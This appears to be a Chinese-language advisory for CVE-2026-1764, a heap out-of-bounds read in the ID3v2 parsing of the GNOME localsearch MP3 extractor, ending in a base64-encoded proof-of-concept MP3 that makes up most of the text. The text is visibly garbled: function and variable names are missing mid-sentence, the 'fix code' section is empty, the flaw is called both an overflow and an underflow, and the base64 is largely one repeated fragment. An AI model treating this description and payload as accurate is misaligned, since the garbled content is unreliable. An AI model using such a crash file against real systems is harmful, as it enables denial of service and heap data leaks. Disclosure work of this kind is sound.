漏洞概述 漏洞编号: CVE-2026-1764 漏洞类型: 堆缓冲区溢出 受影响项目: GNOME localsearch MP3 Extractor 漏洞描述: 在解析MP3文件时, 函数中存在一个堆缓冲区溢出漏洞。该漏洞发生在处理ID3v2标签时,由于缺少边界检查,导致 可能超出缓冲区大小( ),从而引发下溢。这会导致 函数将负值解释为-1,进而触发 函数读取超出字符串长度的数据,导致堆内存中的越界读取。 影响范围 操作系统: Linux 优先级: 中等 严重程度: 中等 影响: - 拒绝服务: 未映射内存的越界读取可能导致SIGSEGV。 - 信息泄露: 类似于主要漏洞,如果找到空字节,可能会泄露可见的堆数据。 修复方案 修复建议: 在循环中添加显式的边界检查,确保 不超过 ,并在访问数据或计算剩余长度之前进行验证。 修复代码: POC代码 PoC文件 (Base64): ```base64 bug1 reproduction.mp3 suqSAAAAAAASSSIXDIAAAAAAAAD00160CVUTUNMAAAB/36V4A/SINUVDyVd5FpR1on1gQhR1uGdF/QBBIE IDAANXNAAAG1YWA1120nZWAANdO/ZP/ABBBKRN1 GAABZABGAAACAAAY/ADH4AQYdDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqDyqD